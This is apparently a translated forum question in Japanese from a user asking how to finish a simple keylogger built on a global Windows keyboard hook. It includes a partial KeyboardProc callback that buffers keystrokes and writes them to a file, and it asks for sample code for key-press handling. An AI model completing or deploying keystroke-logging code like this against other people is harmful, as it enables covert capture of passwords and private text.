グローバル キーボード フックを使用して、単純なキーロガー プログラムを作成しようとしています。キーボード フック コールバック関数の実装に助けが必要です。私の機能は今のところ機能しますが、キーが押されて離されていない場合は処理できません。
LRESULT CALLBACK KeyboardProc( int code,WPARAM wParam,LPARAM lParam ){
DWORD keyStroke=wParam;
if(code>=0 && lParam&0x40000000){
buff[charCount++]=(WCHAR)keyStroke;
buff[charCount]=L'\0';
if(charCount==1024 && charCount>0){
writeCacheToFile(buff,1025);
charCount=0;
}
}
return CallNextHookEx(NULL,code,wParam,lParam);
}
ここでは、文字をバフに保存しようとしており、writeCacheToFile を使用してそれらをファイルに書き込みます。
キープレスイベントが処理されるサンプルコードを教えてください。
どんな助けでも大歓迎です。
ありがとう、アシッシュ。